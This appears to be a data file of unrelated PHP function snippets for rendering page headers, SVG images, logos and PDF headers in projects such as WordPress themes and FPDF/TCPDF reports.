"public function drawHeader()\n {\n?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n<link rel=\"stylesheet\" href=\"/res/rpmetaCSS.css\">\n<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js\"></script>\n<script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n<div id=\"fb-root\"></div>\n<script>(function(d, s, id) {\n var js, fjs = d.getElementsByTagName(s)[0];\n if (d.getElementById(id)) return;\n js = d.createElement(s); js.id = id;\n js.src = \"//connect.facebook.net/en_US/sdk.js#xfbml=1&version=v2.7\";\n fjs.parentNode.insertBefore(js, fjs);\n}(document, 'script', 'facebook-jssdk'));</script>\n\n<script>\n (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\n m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');\n ga('create', 'UA-84156006-1', 'auto');\n ga('send', 'pageview');\n</script>\n<script>\n$(document).ready(function() {\n $('img[src$=\".svg\"]').each(function() {\n var $img = jQuery(this);\n var imgURL = $img.attr('src');\n var attributes = $img.prop(\"attributes\");\n\n $.get(imgURL, function(data) {\n // Get the SVG tag, ignore the rest\n var $svg = jQuery(data).find('svg');\n\n // Remove any invalid XML tags\n $svg = $svg.removeAttr('xmlns:a');\n\n // Loop through IMG attributes and apply on SVG\n $.each(attributes, function() {\n $svg.attr(this.name, this.value);\n });\n\n // Replace IMG with SVG\n $img.replaceWith($svg);\n }, 'xml');\n });\n});\n</script>\n\n<title>RPMeta</title>\n</head>\n\n<body class=\"full-header\">\n<!-- #top FORMATTED RPM-->\n <div id=\"top\">\n </div>\n<!-- /#top FORMATTED RPM-->\n <div id=\"wrapper\">\n <!-- <div id=\"header-image-container\">\n <img src=\"http://rpmeta.com/res/RPMetaHeader.svg\" class=\"header-image\"/>\n </div> -->\n <div class=\"splashpage-container-wrapper\">\n <div class=\"splashpage-featured-image-conatiner\">\n <img src=\"http://rpmeta.com/res/RPMetaBackground.svg\" class=\"splashpage-featured\"/>\n </div>\n <!--End Splashpage container FORMATTED RPM-->\n </div>\n <!--#nav-container FORMATTED RPM-->\n <div id=\"nav-container\">\n \t<nav id=\"main-menu\" class=\"col-full\" role=\"navigation\">\n \t\t<section id=\"section-menu\" class=\"menus\">\n \t\t\t<h3>Main Nav</h3>\n \t\t\t<ul id=\"main-menu-list\" class=\"nav\">\n \t\t\t\t<li id=\"menu-item-home\" class=\"menu-item\"><a href=\"http://rpmeta.com\">Home</a>\n \t\t\t\t</li>\n \t\t\t\t<li id=\"menu-item-reviews\" class=\"menu-item\"><a href=\"http://rpmeta.com/reviews.rpmeta.com/index.php\">Reviews</a>\n \t\t\t\t</li>\n \t\t\t\t<li id=\"menu-item-products\" class=\"menu-item\"><a href=\"http://rpmeta.com/products.rpmeta.com/index.php\">Products</a>\n \t\t\t\t</li>\n \t\t\t\t<li id=\"menu-item-meta\" class=\"menu-item\"><a href=\"http://rpmeta.com/meta.rpmeta.com/index.php\">Meta</a>\n \t\t\t\t</li>\n \t\t\t\t<li id=\"menu-item-about\" class=\"menu-item\"><a href=\"http://rpmeta.com/about.rpmeta.com/index.php\">About</a>\n \t\t\t\t</li>\n \t\t\t\t<li id=\"menu-item-subscribe\" class=\"menu-item\"><a href=\"http://rpmeyer.org/News/index.php\">Subscribe</a>\n \t\t\t\t</li>\n \t\t\t</ul>\n \t\t</section>\n\n \t\t<div id=\"media-buttons\" class=\"media-images-svg\">\n \t\t\t<ul id=\"socials\">\n \t\t\t\t<li>\n \t\t\t\t\t<a href=\"https://www.facebook.com/rpmeta\" class=\"facebook\">\n \t\t\t\t\t\t<img id=\"facebookSVG\" class=\"svg social-media\" src=\"http://rpmeta.com/res/FacebookF.svg\" alt=\"\" /></img>\n \t\t\t\t\t</a>\n \t\t\t\t\t<a href=\"https://twitter.com/arrpmeyer\" class=\"twitter\">\n \t\t\t\t\t\t<img id='twitterSVG' class=\"svg social-media\" src=\"http://rpmeta.com/res/TwitterBird.svg\" alt=\"\" /></img>\n \t\t\t\t\t</a>\n \t\t\t\t</li>\n \t\t\t</ul>\n \t\t</div>\n \t</nav>\n </div>\n <!--/#nav-container FORMATTED RPM-->\n<?php\n //starting php tag to output more template\n }",
"function makestart($svgstr)\n{\n\t\tglobal $finalstr;\n\t\tif(!$maketable){\n\t\t\t\t\t\t\t\t\t\techo \"<svg width='800' height='1220' style='border:1px solid red;'>\";\n\t\t\t\t\t\t\t\t\t\techo $svgstr;\n\t\t\t\t\t\t\t\t\t\techo \"</svg>\"; \n\t\t}else{\n\t\t\t\techo \"</table>\";\n\t\t}\t\t\t\t\n\t\t$finalstr=\"<svg width='800' height='1220' style='border:1px solid red;'>\".$svgstr.\"</svg>\";\n}",
"protected function getHeaderPart()\n {\n //$logo_url = ot_get_option('header_logo', 'img/logo.jpg');\n ?>\n <?= $this->version151101() ?>\n <?= $this->getBannerPart() ?>\n <?php\n }",
"private function _xyz()\n {\n $logo = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGQAAAAcCAYAAACXkxr4AAAACXBIWXMAA'\n . 'AsTAAALEwEAmpwYAAAKC0lEQVRoge2ZeVDU5xnHPz/AXdmDGwUEXDAsMxaRywOJEkINxmGp1cYDZ+o0'\n . 'bTTtZDqTQDrpTOu09srkciYzMSpNtO2ITZxpMrD5IyIB2yikchjU6C5JRMBFZFniHuAu6779Y7MbEZZ'\n . 'L2z9Svv/sb/d9rt/7fZ7nPRbmMIc5zGEOc5gdpAdl6Pr1AdFjsnChy4piPkjz5azJTCVGCbbbHpShcs'\n . 'KU8gfm79uK+56g5nMGceSdMxh6bSiUoQTHqlAp5KgUMuShC0ldqGTN4hAUYSrSNbHI5bI5UibBrCenw'\n . '3BdvFH1IYZeG/FLE4mOTiIsIpyQ+aFj5BRqFSqVgoj+VjKXashMXzTO5969e4Xved++fdJEYxP9vm/f'\n . 'Punez6lsTsfXTHRm8h4TxXkvQgINTIYDR06JF176gNScLH6wOZOISDkAXw05sduHx8iqVApSUuWYrsv'\n . 'ovXodt9stQkJCxgXkC/LugAM9TxeB5CezORud2cgFwowIsTqcYv/bjbQPjlBe+RQajcDeNYCltx9PsJ'\n . 'poZRiolNzsuwl4q8OHpIxkWt+rY+OGlRMGGagS7geBJmUyX7OdyKlsT6c6YAaEWB1OUfH7fxCfV8Cuj'\n . 'YlcqmvlxKFmFiyIILNwBXnp0VzpsZDiNvN5pIzmywNAHADh4TJkIfO5efOrgPYfJBFT2ZxNhczU53+9'\n . 'Qva/3ciSohLWLglC/7u3ACjZsJLioizmzQvBPjKKLTSOUNs1tq9L4otLRgZugEL9kN+G0+maUXC+rPI'\n . '9TzQ2WebNpuomW7OmY+t+K31aSlUnzonB8CV8RznAqRN1pKTG85MnS1AqlUiSJAkhxLGGLhZFSoS6na'\n . 'zK01Ktb+HvZzopeHQDD6+NYPRKN+//Rc/+135GUFDQ3E4rAKaskOZzBtE4FEuy1MvZDz5hx871rMrTA'\n . 'iBJkgTQ2TNIrzscW2sz2cuXALAkLow7A3YAomVwtf8mCoV8jowpEDTZoNXhFDVGyEoa5ULDJ+zYtZGV'\n . 'uWkIIfxkCCHEe6eukJU0iuWmhezMFCRJkgZcMOwY8W55b49iNPawMC4Kt9stJvP5/45JK0R/1sDqXC1'\n . 'XP/6IteuWs0ybAHxTGV4ZI47wZMxXPkepCkUmm4fb7RZVR0+i1sSSkioHXDQ1X+bZZ5/At+U1dpvFsf'\n . 'qLmAZtFC1fTPn6zDGVU13XIWwjLmwjTgw9FtKToqjcViA1tHeJ2jMGbLdd5GnjaTH2oZ4vQ1eQTlG2R'\n . 'qo9YxA1TUYAEqLVmAZt5Gnj/d9tw04aPr0GQFWlboxP3QvVovbFcv9vh2pahP6s15bJYqMwU8PTZblo'\n . 'k2MkgD6zVRysbcM0aMM+7EKbFM3O4gz/uLHbLA7WtHK6o4uEKDXWESflxcvYU5YXsEsErBCrwymGPBE'\n . 'ssF2jYO1yHvtuDi7XKC7XqF9GCCFq9G2sKkji0rnP0GqTAAgODqbxozYWJz1EaqzgvXf/RdyCCLIzU/'\n . 'y62uQYqWJrPsYeM8frL47zX9vUSVGWhsptBdINsw1DjwWAomyNlJ4cTZvRxG5dLlWVOqkoW0Plmx/SZ'\n . '7YKH8FVlTopIVpFm9HEnrI8aU9ZnqQrSJd8xLcZTeN8miw2//OhmhZxWN9K6RottS+WS8d/tYU+i52K'\n . 'Ayf9Mj4yqip10vG9W6Q8bTwN57v84xUHTtJnsXOkopTaF8ulPaW5HNa3cqimJWCXCEhIq7GPJcneA19'\n . 'YRDivv2/gzl3iQgjx5tF65IlLiHDcYmjIxrqHlyKE4ILRRL9HzepHVxBxe5TTdc2UbFg57tokTCmXdG'\n . 'u0mCw2jN1mf5B9ZquwDzv9mRYXo54wRl+l6grSJW1iDMfqL1C2Rjuu2u6Fr2Img/6skRxtgj+btckx0'\n . 'i+3rcZksdHQ3iUA9E2GMTqFWRrK1njX14b2LmGy2Nity/V3lvL1mVJhpobG89cC+g1IyA2XGs81r2Jy'\n . 'rIK48Dv84s9tXOu34vF4hG3Yhf7jL3msOJNP/9lCUtIC366LN6o+JGNtPrlawTtv6UnVLKS4KGtCP2X'\n . '56QDU3PVyDe1dFGYvnmrO/CRaHU5hGrSSEKUmPibsgWwaTBbbOOJ81z7GHjMApfnptBlNVNd1CPAmmM'\n . '+/TyZXGz+mxacnR2PsNQf0OyEhHo9HKMOVAL5Fmk3rlhLrGeL12i95+ehZ9r/dSGpOFmlpMjr+3UHx+'\n . 'hUAfNJipGfIzeNbVnCrrZOm5st87/vrAl4qapNjpIQoNafbv8ma2qZOdhYvm3TCAI7VX6S6rkNUvHmS'\n . '3LQEStekT6nzIFGxNZ/CTA2vnmhC90K16DBcH9eKZnrDPSEh/RY70fNuExUdTnBwEEIIFPIQadfWAgY'\n . 'He+gZkTEQFMnjW1Zg6bISGalmVZ4Wh8PBvoOn2fjjH5KjdrF//wk26fJZvSJ90qAKsxf721af2SqAaW'\n . 'd6i6GPNqOJ57fn/8+v98OUcum1Z0qkV35agnXEyY9e1furZbaYkBDnnSDUbgeKMBUhISGS7+yQHKugN'\n . 'DsZ50g/iWneBftqxyV27NoIwLN/qCVv4waKV8n4beUbZGZo2Lx57ZRB+NrWsfqLNLR3octPm1bwFVvz'\n . 'eX57PuBdYB80bCPOackVZWuk2j+WkxCl5pC+dcyYL8GmiwkJkavmEa2SERutxuPx+A0GBQVJO3UrJPV'\n . '82Rj5ZdoEXjpyhtiMHHZsSuRgxQEiI9U8ubuMefOmvp3RJsdI2sQYGs9f9e6usjXTCt7Xs3cUZ6BvMs'\n . 'z45a0Op5joGUCbGEOr4cYYeV9L0ibFTBhL6dcL+t0yLYa+MXKG7kG0ieP1fZiQkKgQifDwUOJjwqR7T'\n . '9Yej0c8XZZLb+fndHa6WJmbzoGTPYjEpWwqieOvv36LBQsi+Plz2ybUDwRdfhr2ERcqhWzGC/Pu0jxU'\n . 'oTL2Hj09pazH4xH56d7F+rC+BavDKawOpzisbyHn690QQHlxBsZeM7VnDAK8ZPzpnWa0iTEUZWskq8M'\n . 'pnnqlVlTXdYg+s1X0ma2i8fw1dF+TUpStkbSJMVTXX/T7OFTTIlo7TZQXZwSMb9Y9t7quQ0hhi1CGKw'\n . 'mOkBM8dJPTf6thYVwUT2xZx6JFsTOy3We2iucO1LFbl0tRtmaMrrHbLGqaDFRuK5DAm82/OdLIa8+U+'\n . 'OWq6zpEbVMnx/duke7We/ndpnEHwLvlTYNW7CMuCjM1PL89f0wy1J4xiOr6i9iHnVhHnDySlcLTuhy/'\n . 'TEN7lzhc24qx14wqVMYjWSlUbP1mLbM6nOLVd5toM3jPPCqFHF1+2qTb8hkT4vF4RPfAMB9fGoB4Ddp'\n . 'YK2erT9F/w0LmslQ2b1479zftfWDSiRt2ukV7r93/3eZy8kW3E5ukYmmyAuvlVi6d+2zWVTGH8Zh0Aj'\n . '0ejxgddWM232LQ7v0vY9hqxzJ4i1tD3muG3ILl/hP1HObwrcN/AF5zmzGLB8I2AAAAAElFTkSuQmCC';\n\n return $logo;\n }",
"function csbh_svg_banner( $name = '' ) {\n\n\t// get my image directory\n\t$folder = get_bloginfo( 'template_directory' ) . '/images/';\n\n\t// set my file\n\t$file = $folder . $name;\n\n\t// make sure it exists\n\t$check = get_headers( $file );\n\n\t// and return it\n\treturn ! empty( $check[0] ) && stripos( $check[0], '200 OK' ) ? '<img src=\"' . esc_url( $file ) . '\" width=\"670\" />' : false;\n}",
"private static final function getMetaTAGHeader () {\r\n $tagMetaHeaderString = new S;\r\n $tagMetaPureString = new FileContent (FORM_TP_DIR . _S . 'frm_web_head_meta.tp');\r\n foreach (self::$objMetaTAG as $k => $v) {\r\n $tagMetaHeaderString->appendString (str_replace (array ('[%META_NAME_REPLACE%]', '[%META_CONTENT_INFO%]'),\r\n array (self::$objMetaTAG[$k]['name'], self::$objMetaTAG[$k]['info']), $tagMetaPureString));\r\n }\r\n // Do return ...\r\n return $tagMetaHeaderString;\r\n }",
"function header_image()\n {\n }",
"private function getOgHeadLineString()\n\t{\n\t\t$prefix = 'og: http://ogp.me/ns# fb: http://ogp.me/fb# article: http://ogp.me/article#';\n\t\t\n\t\treturn sprintf('<head prefix=\"%s\">', $prefix) . \"\\n\";\n\t}",
"public function Header() {\r\n $this->varcave->logger->debug('Create PDF top header');\r\n\t\tif ($this->noheader){\r\n\t\t\treturn true;\r\n\t\t}\r\n // Logo\r\n\t\t$this->setFont($this->font, 'BI', 8, '', 'false');\r\n\t\t$this->Image($this->headerImg,4,4,170);\r\n\t\t\r\n\t\t//text box after header image\r\n\t\t$this->RoundedRect(172,4,35,10,3.5,'D');\r\n\t\t$this->SetXY(173,5);\r\n\t\t$this->cell(0,3, LNE::pdf_caveRef . ': ' . $this->cavedata['caveRef'],0);\r\n\t\t$this->SetXY(173,9);\r\n\t\t//If pagegroup is on set group page number, or set a global PDF page number \r\n\t\tif ( $this->pagegroups == false )\r\n\t\t{\r\n\t\t\t$this->cell(0,3,LNE::pdf_page. ': '. $this->getAliasNumPage() . '/' . $this->getAliasNbPages(),0);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$this->cell(0,3,LNE::pdf_page .': '. $this->getPageGroupAlias(). '-'.$this->getPageNumGroupAlias() ,0);\r\n\t\t}\r\n\t\t\r\n }",
"function Header() {\r\n $this->Image($this->logourl, 6, 5, 12,12);\r\n $this->SetFont('courier', '', 8);\r\n $this->SetY(11);\r\n $this->SetX(19);\r\n// $this->SetTextColor(224,17,36);\r\n $this->SetTextColor(1,152,74);\r\n $this->SetFont('courier', 'B', 10);\r\n $this->Cell(55, 4, $this->companyname, 0, 0, 'L');\r\n $this->SetY(14);\r\n $this->SetX(19);\r\n $this->SetFont('courier', 'B', 8);\r\n// $this->SetTextColor(1,152,74);\r\n $this->SetTextColor(224,17,36);\r\n $this->Cell(55, 4, $this->companyaddress, 0, 0, 'L');\r\n $this->SetTextColor(0);\r\n $this->SetY(10);\r\n $this->SetX(130);\r\n// $this->Cell(75, 4, 'Department : ' . $this->dataheader[0], 0, 0, 'R', false);\r\n \r\n $this->SetFont('courier', 'B', 14);\r\n \r\n $this->SetY(12);\r\n $this->SetX(5);\r\n $this->Cell(200, 6, $this->metadata['Title'], 0, 0, 'C');\r\n $this->SetY(18);\r\n $this->SetFont('courier', '', 8);\r\n $this->Cell(200, 5, $this->dataheader[0], 0, 0, 'C');\r\n// $this->Cell(200, 5, 'test', 0, 0, 'C');\r\n $this->SetY(22);\r\n \r\n $this->SetFont('courier', 'B', 8);\r\n $this->Ln(1);\r\n }",
"function getContent() {\t \r\n\t \t$content = isSet($this->headery) ? '\\headery'.round(TWIPS_IN_CM * $this->headery).' ' : '';\t \r\n\t\t$content .= '{\\\\'.$this->type.' ';\t\t\t\t\t\t\r\n\t\t$content .= parent::getContent();\r\n\t\t$content .= '\\par ';\r\n\t\t$content .= '}';\r\n\t\treturn $content.\"\\r\\n\";\r\n\t}",
"public function getHeader()\n { \n $date_add = $this->supply_order_voucher->date_add;\n $shop_name = Configuration::get('PS_SHOP_NAME');\n $path_logo = $this->getLogo();\n $width = $height = 0;\n \n \n\n if (!empty($path_logo)) {\n list($width, $height) = getimagesize($path_logo);\n }\n\n $this->smarty->assign(array(\n 'logo_path' => $path_logo,\n 'img_ps_dir' => 'http://'.Tools::getMediaServer(_PS_IMG_)._PS_IMG_,\n 'img_update_time' => Configuration::get('PS_IMG_UPDATE_TIME'),\n 'title' => $this->title,\n 'reference' => $this->supply_order->reference,\n 'id_vou' => $this->supply_order_voucher->id,\n 'reference' => $this->supply_order->reference,\n 'date' => $this->supply_order_voucher->date_add, //XXX\n 'shop_name' => $shop_name,\n 'width_logo' => $width,\n 'height_logo' => $height,\n 'grn' => $this->grn\n ));\n\n return $this->smarty->fetch($this->getTemplate('supply-order-voucher-header'));\n }",
"function get_random_header_image()\n {\n }",
"public function renderSVG()\n\t{\n\t\t$canvasWidth = $this->getCanvasWidth();\n\t\t$canvasHeight = $this->getCanvasHeight();\n\t\t$svgHeader = '<svg width=\"%d\" height=\"%d\" version=\"1.1\" xmlns=\"http://www.w3.org/2000/svg\">';\n\t\t$rectangle = '<rect x=\"%d\" y=\"%d\" width=\"%s\" height=\"%s\" fill=\"%s\"/>';\n\n\t\t$output = sprintf(\n\t\t\t $svgHeader,\n\t\t\t $canvasWidth,\n\t\t\t $canvasHeight\n\t\t ) . PHP_EOL;\n\n\t\t$output .= \"\\t\" . sprintf(\n\t\t\t\t$rectangle,\n\t\t\t\t0,\n\t\t\t\t0,\n\t\t\t\t'100%',\n\t\t\t\t'100%',\n\t\t\t\t$this->backgroundColor\n\t\t\t) . PHP_EOL;\n\n\t\tforeach ($this->proceduralGenerator() as $key => $shape) {\n\t\t\t$output .= \"\\t\" . sprintf(\n\t\t\t\t\t$rectangle,\n\t\t\t\t\t$shape['x0'],\n\t\t\t\t\t$shape['y0'],\n\t\t\t\t\t$this->shapeX,\n\t\t\t\t\t$this->shapeY,\n\t\t\t\t\t$shape['c']\n\t\t\t\t) . PHP_EOL;\n\t\t}\n\t\t$output .= '</svg>';\n\n\t\treturn $output;\n\t}",
"function Header()\n {\n\n\n //list($r, $b, $g) = $this->xheadercolor;\n $this->setY(5);\n //$this->SetFillColor($r, $b, $g);\n //$this->SetTextColor(0 , 0, 0);\n //$this->Cell(0,20, '', 0,1,'C', 1);\n //$this->Text(15,26,$this->xheadertext );\n \n \n // get the current page break margin\n $bMargin = $this->getBreakMargin();\n // get current auto-page-break mode\n $auto_page_break = $this->AutoPageBreak;\n // disable auto-page-break\n $this->SetAutoPageBreak(false, 0);\n // set bacground image\n $img_file = WWW_ROOT.'/img/Resul_Agua.jpg';\n $this->Image($img_file, 0, 0, 216, 279, '', '', '', false, 300, '', false, false, 0);\n // restore auto-page-break status\n $this->SetAutoPageBreak($auto_page_break, $bMargin);\n // set the starting point for the page content\n $this->setPageMark();\n \n\n $this->writeHTML($this->xheadertext, true, false, true, false, '');\n\n // Transformacion para la rotacion de el numero de orden y el contenedor de la muestra\n $this->StartTransform();\n //$this->SetFont('freesans', '', 5);\n $this->SetFont('', '', 5);\n $this->Rotate(-90, 117, 117);\n //$tcpdf->Rect(39, 50, 40, 10, 'D');\n $this->Text(5, 30, 'Software Asistencial Médico \"SAM\" V.1.1 ® - https://samsalud.info ®');\n // Stop Transformation\n $this->StopTransform();\n\n // if ( $this->variable == 1 )\n // {\n // draw jpeg image x, y ancho, alto\n // $this->Image(WWW_ROOT.'/img/BORRADOR.png', 40, 60, 450, 250, '', '', '', true, 72);\n\n // restore full opacity\n $this->SetAlpha(0);\n // }\n\n }",
"function proplumbing_esc_svg($svg){\n $kses_defaults = wp_kses_allowed_html('post');\n\n $svg_args = array(\n 'svg' => array(\n 'class' => true,\n 'id' => true,\n 'xmlns' => true,\n 'viewbox' => true,\n 'width' => true,\n 'height' => true\n ),\n 'defs' => array(),\n 'title' => array(),\n 'g' => array(\n 'id' => true\n ),\n 'path' => array(\n 'class' => true,\n 'd' => true,\n 'fill' => true\n ),\n 'rect' => array(\n 'class' => true,\n 'x' => true,\n 'y' => true,\n 'width' => true,\n 'height' => true,\n 'transform' => true,\n 'fill' => true\n ),\n 'polygon' => array(\n 'class' => true,\n 'points' => true,\n 'fill' => true\n )\n );\n\n $allowed_tags = array_merge($kses_defaults, $svg_args);\n echo wp_kses($svg, $allowed_tags);\n}",
"public function header(){\n $header = '<html>\n <head>\n <style>\n @page{\n margin: 100px 25px;\n }\n header{\n position: absolute;\n top: -60px;\n left: 0px;\n right: 0px;\n height:20px;\n }\n .container-table{ \n margin:80px 0;\n width: 100%;\n }\n .fixed-footer{.\n width : 100%;\n position: fixed; \n bottom: -28; \n left: 0px; \n right: 0px;\n height: 50px; \n text-align:center;\n }\n .fixed-footer-right{\n position: absolute; \n bottom: -150; \n height: 0; \n font-size:13px;\n float : right;\n }\n .page-number:before {\n \n }\n </style>\n </head>\n /\n <script type=\"text/php\">\n if (isset($pdf)){\n $text = \"Page {PAGE_NUM} / {PAGE_COUNT}\";\n $size = 10;\n $font = $fontMetrics->getFont(\"Verdana\");\n $width = $fontMetrics->get_text_width($text, $font, $size) / 2;\n $x = ($pdf->get_width() - $width) / 2;\n $y = $pdf->get_height() - 35;\n $pdf->page_text($x, $y, $text, $font, $size);\n }\n </script>\n <body>\n <header>\n <p style=\"margin:0; position:left;\">\n <img src=\"images/logo.png\" width=\"200\" height=\"160\"/>\n </p>\n </header>'; \n return $header;\n }",
"protected function getIncludeGraphics() {\n return sprintf('\\includegraphics[width=\\textwidth]{%s}', $this->getPdfName());\n }",
"protected function renderHeader($unit) {\n $draw = $this->getDraw();\n $draw->setFillColor('#000000');\n $draw->setStrokeWidth(0);\n $draw->setFontSize(20);\n\n $x = $this->currentX + $this->margin;\n $y = $this->currentY;\n\n $gon = new Imagick();\n $gon->readImage('../assets/octagon.png');\n $gon->resizeimage(45, 45, \\Imagick::FILTER_LANCZOS, 1);\n $this->image->compositeImage($gon, Imagick::COMPOSITE_DEFAULT, $x + 3, $y + 3);\n\n if($unit['slot'] != 'NA') {\n $gon = new Imagick();\n $gon->readImage('../assets/icon_'.$unit['slot'].'.png');\n $gon->resizeimage(35, 35, \\Imagick::FILTER_LANCZOS, 1);\n $this->image->compositeImage($gon, Imagick::COMPOSITE_DEFAULT, $x + 9, $y + 7);\n }\n\n $gon = new Imagick();\n $gon->readImage('../assets/octagon.png');\n $gon->resizeimage(45, 45, \\Imagick::FILTER_LANCZOS, 1);\n $this->image->compositeImage($gon, Imagick::COMPOSITE_DEFAULT, $x + 55, $y + 3);\n $draw->setFont('../assets/title_font.otf');\n $draw->setFontSize(26);\n\n $draw->setFillColor('#FFFFFF');\n if(strlen($unit['power']) == 1) {\n $this->image->annotateImage($draw, 71 + $x, $y + 33, 0, $unit['power']);\n } else if(strlen($unit['power']) == 3) {\n $this->image->annotateImage($draw, 56 + $x, $y + 33, 0, $unit['power']);\n } else{\n $this->image->annotateImage($draw, 64 + $x, $y + 33, 0, $unit['power']);\n }\n\n # unit name:\n $draw->setFillColor('#000000');\n $iters = 0;\n $title = $unit['customName'] ? $unit['customName'] : $unit['title'];\n $title_size = 28;\n $draw->setFontSize($title_size);\n $draw->setFont('../assets/title_font.otf');\n $check = $this->image->queryFontMetrics($draw, strtoupper($title));\n $maxNameWidth = 420;\n while($iters < 6 && $check['textWidth'] > $maxNameWidth) {\n $iters += 1;\n $title_size -= 2;\n $draw->setFontSize($title_size);\n $check = $this->image->queryFontMetrics($draw, strtoupper($unit['title']));\n }\n $title_x = $x + 110;\n $this->image->annotateImage($draw, $title_x, $y + 40, 0, strtoupper($title));\n $this->currentY += 50;\n $this->renderLine();\n }",
"function Header(){\n $this->Image('fpdf2/usp.png',10,8,20,20);//x,y,ancho,alto\n $this->SetFont('Arial','B',16); ////el B es en negrita\n //$this->setFillColor(64,224,208);\n $this->SetTextColor(66,73,61);\n $this->Cell(0,35,'Presentaciones Registradas',0,1,'C');///el cero indica que la celda ocupa el ancho de la pagina\n ////el true, en el Cell indica que el fondo se dibuja, si se omite es false\n ///datos de la empresa\n $this->SetXY(10, 25);\n $this->SetFont('Arial','',10);\n $this->Cell(5,20,'Farmacia Felicidad');\n $this->SetXY(10, 25);\n $this->Cell(15,29,'R.U.C: 236437309');\n $this->SetXY(10, 25);\n $this->Ln();\n }",
"function get_uploaded_header_images()\n {\n }",
"function Header() //Encabezado\r\n {\r\n $this->SetFont('Arial','B',9);\r\n \r\n \r\n $this->Line(10,10,206,10);\r\n $this->Line(10,35.5,206,35.5);\r\n \r\n // $this->Cell(30,25,'',0,0,'C',$this->Image('imagenes/logo_publistika.jpg', 152,12, 19));\r\n $this->Cell(111,25,'',0,0,'C', $this->Image('imagenes/logo_publistika.jpg',70,12,80));\r\n //$this->Cell(40,25,'',0,0,'C',$this->Image('images/logoDerecha.png', 175, 12, 19));\r\n \r\n //Se da un salto de línea de 25\r\n $this->Ln(25);\r\n }",
"function get_header(){\n\t\tglobal $FANNIE_ROOT;\n\t\tob_start();\n\t\t$page_title = $this->title;\n\t\t$header = $this->header;\n\t\tinclude($FANNIE_ROOT.'src/header_install.html');\n\t\treturn ob_get_clean();\n\n\t}",
"protected function extractSvgImageSizes() {}",
"function getHeader()\n {\n $header = '';\n $header .= \"<head>\\n\";\n $header .= \"<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=$this->documentCharset\\\">\\n\";\n $header .= \"<meta name=\\\"ProgId\\\" content=\\\"Word.Document\\\">\\n\";\n $header .= \"<meta name=\\\"Generator\\\" content=\\\"$this->appName $this->appVersion\\\">\\n\";\n $header .= \"<meta name=\\\"Originator\\\" content=\\\"$this->appName $this->appVersion\\\">\\n\";\n $header .= \"<!--[if !mso]>\\n\";\n $header .= \"<style>\\n\";\n $header .= \"v\\:* {behavior:url(#default#VML);}\\n\";\n $header .= \"o\\:* {behavior:url(#default#VML);}\\n\";\n $header .= \"w\\:* {behavior:url(#default#VML);}\\n\";\n $header .= \".shape {behavior:url(#default#VML);}\\n\";\n $header .= \"</style>\\n\";\n $header .= \"<![endif]-->\\n\";\n \n $header .= \"<style>\\n\";\n $header .= \"<!--\\n\";\n $header .= \"/* Style Definitions */\\n\";\n \n $this->prepareDefaultHeader();\n \n $header .= $this->formatBuffer . \"\\n\";\n \n $header .= \"-->\\n\";\n $header .= \"</style>\\n\";\n $header .= \"</head>\\n\";\n \n return $header;\n }",
"function getEmbedSVG() {return $this->_embedsvg;}",
"function cs_get_subheader(){\n $image_url = '';\n global $cs_page_builder, $cs_meta_page, $cs_node, $post, $cs_theme_option,$cs_xmlObject ;\n $default_image = \"default-image\";\n $cs_xmlObject = new stdClass();\n\t$cs_xmlObject->header_banner_options = '';\n if (is_page()) {\n $cs_xmlObject = cs_meta_page('cs_page_builder');\n\t\tif($cs_meta_page <> ''){\n \t\t\t$cs_meta_page = cs_meta_page('cs_page_builder');\n\t\t}\n if (!empty($cs_meta_page)) {\n foreach ($cs_meta_page->children() as $cs_node) {\n if ($cs_node->slider_view == \"header\" and $cs_node->slider_type == \"Custom Slider\") {\n echo do_shortcode(htmlspecialchars_decode($cs_node->slider_id));\n }\n }\n }\n\t\tif (isset($cs_meta_page)) {\n if ($cs_meta_page->header_banner_options == \"Custom Image\" && $cs_meta_page->header_banner <> '') {\n $image_url = $cs_meta_page->header_banner;\n }\n elseif ($cs_meta_page->header_banner_options == \"Default Image\") {\n $image_url = '';\n $default_image = \"default-image\";\n }\n\t\t\telseif ($cs_meta_page->header_banner_options == \"No Image\") {\n $image_url = '';\n $default_image = \"no-image\";\n }\n }\n } elseif (is_single()) {\n \t\t $post_type = get_post_type($post->ID);\n\t\t\t if ($post_type == \"events\") {\n\t\t\t\t $post_type = \"cs_event_meta\";\n\t\t\t }\n\t\t\t else {\n\t\t\t\t $post_type = \"post\";\n\t\t\t }\n\t\t\t $post_xml = get_post_meta($post->ID, $post_type, true);\n\t\t\t if ($post_xml <> \"\") {\n\t\t\t $cs_xmlObject = new SimpleXMLElement($post_xml);\n\t\t\t }\n if (isset($cs_xmlObject)) {\n if ($cs_xmlObject->header_banner_options == 'Custom Image' && $cs_xmlObject->header_banner <> '') {\n $image_url = $cs_xmlObject->header_banner;\n }\n elseif ($cs_xmlObject->header_banner_options == \"Default Image\") {\n $image_url = '';\n $default_image = \"default-image\";\n }\n }\n }\n if ($cs_xmlObject->header_banner_options == \"Slider\") {\n \techo do_shortcode($cs_xmlObject->slider_id);\n } elseif ($cs_xmlObject->header_banner_options != \"No Header\") { ?>\n <div class=\"outerbreadcrumb fullwidth <?php cs_subheader_classes($cs_xmlObject->header_banner_options); ?>\">\n <!-- Container Start -->\n <?php\n if ($image_url <> '') {\n echo '<div class=\"banner-image\" ><img src=\"' . $image_url . '\" alt=\"\" /> </div>';\n }\n ?> \n <div class=\"container\">\n \t<div class=\"breadcrumbinner\">\n \t <?php\n // Page Subheader Title and subtitle\n \t\tcs_get_subheader_title(); \n\t\t\t\t\tcs_breadcrumbs();\t \n\t\t\t ?>\n </div>\n </div>\n <!-- Container End -->\n </div>\n <?php\n }\n}",
